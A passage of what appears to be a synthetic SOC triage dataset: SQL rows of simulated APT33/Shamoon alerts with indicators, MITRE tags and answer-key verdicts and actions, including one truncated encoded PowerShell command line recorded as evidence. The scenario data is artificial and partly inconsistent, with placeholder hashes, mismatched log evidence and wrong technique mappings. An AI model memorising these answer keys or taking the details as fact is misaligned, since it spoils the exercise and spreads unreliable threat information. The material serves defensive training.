detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:47Z\\\",\\\"event_id\\\":\\\"DLPE-20231005142247\\\",\\\"source_ip\\\":\\\"10.0.15.23\\\",\\\"destination_ip\\\":\\\"198.51.100.14\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[{\\\"filename\\\":\\\"confidential_report_2023.pdf\\\",\\\"hash\\\":\\\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\\\",\\\"size\\\":\\\"3.2MB\\\"}],\\\"related_domain\\\":\\\"malicious-exfiltration.com\\\",\\\"connection_protocol\\\":\\\"HTTPS\\\",\\\"detection_method\\\":\\\"anomalous data transfer\\\",\\\"description\\\":\\\"Large data transfer detected to external IP associated with known malicious domain.\\\",\\\"correlation_id\\\":\\\"C-20231005-XYZ123\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(802, 'Unusual RDP Logins Detected', 'high', 'Network Security Logs', 'APT33 initiated an attack by exploiting weak RDP credentials to gain unauthorized access to Saudi Aramco\'s network. Multiple login attempts were observed from a known malicious IP address.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:23:45Z\",\"event_type\":\"RDP Login Attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.15.87\",\"username\":\"admin_user\",\"success\":false,\"attempt_count\":5,\"associated_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"rdp_brute_force.exe\",\"log_id\":\"123456789\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT33 campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.87\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of Saudi Aramco network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"Unexpected login attempts for this account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash related to known APT33 malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"rdp_brute_force.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in brute force RDP attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.450Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:23:45Z\\\",\\\"event_type\\\":\\\"RDP Login Attempt\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.87\\\",\\\"username\\\":\\\"admin_user\\\",\\\"success\\\":false,\\\"attempt_count\\\":5,\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_name\\\":\\\"rdp_brute_force.exe\\\",\\\"log_id\\\":\\\"123456789\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(803, 'Execution of Malicious Payload', 'critical', 'Endpoint Detection and Response (EDR) Systems', 'The attackers executed the Shamoon payload, initiating the process of wiping data from targeted workstations. This action is indicative of the destructive phase of the attack.', 'Execution', 'T1486 - Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_type\":\"process_execution\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"workstation-23\",\"user\":\"jdoe\",\"process_name\":\"wiper.exe\",\"process_id\":4567,\"parent_process_name\":\"cmd.exe\",\"parent_process_id\":1234,\"command_line\":\"C:\\\\Windows\\\\System32\\\\wiper.exe -run\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.66\",\"attacker_domain\":\"malicious-actor.example.com\"}', '2026-01-12 22:17:37', '2026-02-16 17:59:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.66\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous Shamoon attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Shamoon malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wiper.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_detection\",\"verdict\":\"malicious\",\"details\":\"Executable known to be used by Shamoon malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(804, 'Registry Modification and Service Creation', 'high', 'Windows Registry Logs', 'APT33 has been detected modifying registry keys and creating a new service named \'WinSecureService\' to maintain the persistence of wiper malware across system reboots. The modification involved adding autorun registry entries and creating a service linked to the malicious binary \'wiper.exe\'.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:37Z\",\"event_id\":4657,\"user\":\"admin_user\",\"computer_name\":\"compromised-host.internal\",\"registry_key_path\":\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"new_service_name\":\"WinSecureService\",\"service_executable\":\"C:\\\\Windows\\\\System32\\\\wiper.exe\",\"malware_hash\":\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"action\":\"Registry Key Modified, Service Created\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT33 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"wiper.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with APT33 wiper campaign.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT33 malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(805, 'Increased Network Traffic and SMB Activity', 'high', 'Network Traffic Analysis', 'Anomalous increase in network traffic detected originating from internal workstation 192.168.1.45 to multiple endpoints within the network. The traffic involves SMB protocol usage consistent with lateral movement techniques aimed at propagating Shamoon malware. The connection was initiated using stolen credentials associated with user jdoe. A known malicious file hash was identified in the traffic.', 'Lateral Movement', 'T1021.002 - SMB/Windows Admin Shares', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"source_ip\":\"192.168.1.45\",\"destination_ips\":[\"192.168.1.50\",\"192.168.1.51\",\"192.168.1.52\"],\"user\":\"jdoe\",\"protocol\":\"SMB\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malicious_file\":\"spreadshamoon.exe\",\"external_attacker_ip\":\"203.0.113.5\",\"activity\":\"Increase in SMB traffic and file transfer attempts using stolen credentials\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Source IP of the lateral movement within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Shamoon malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"compromised\",\"details\":\"User credentials used in unauthorized activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"spreadshamoon.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable file used to propagate malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(806, 'MBR Overwrite Detected', 'critical', 'Disk Forensics', 'As the final step, the Shamoon wiper overwrites the MBR of infected systems, rendering them inoperable and displaying a burning American flag image. This operation is indicative of a politically motivated attack aimed at causing maximum disruption.', 'Destruction and Imagery Planting', 'T1547.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:39Z\",\"event_source\":\"disk_forensics\",\"event_id\":\"DF-2023-10001\",\"description\":\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\",\"host_ip\":\"192.168.10.45\",\"malware_hash\":\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\",\"malware_filename\":\"trksvr.exe\",\"attacker_ip\":\"185.53.177.20\",\"user\":\"admin_user\",\"action_taken\":\"MBR Overwrite\",\"political_imagery\":\"burning_flag.png\"}', '2026-01-12 22:17:37', '2026-02-16 18:00:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with Shamoon malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"trksvr.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable file used by Shamoon for MBR overwriting.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"185.53.177.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with Shamoon operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'IR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 